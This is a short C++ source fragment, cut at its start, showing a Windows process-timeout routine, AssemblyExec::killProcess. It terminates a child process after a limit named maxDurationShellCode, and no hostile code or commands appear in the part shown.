return 0;
}
int AssemblyExec::killProcess()
{
std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now();
while (1)
{
if (!m_isProcessRuning)
break;
std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now();
auto elapse = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
if(elapse>=maxDurationShellCode)
{
TerminateProcess(m_processHandle, 0);
break;
}
std::this_thread::sleep_for(std::chrono::milliseconds(100));
}
return 0;
}
#endif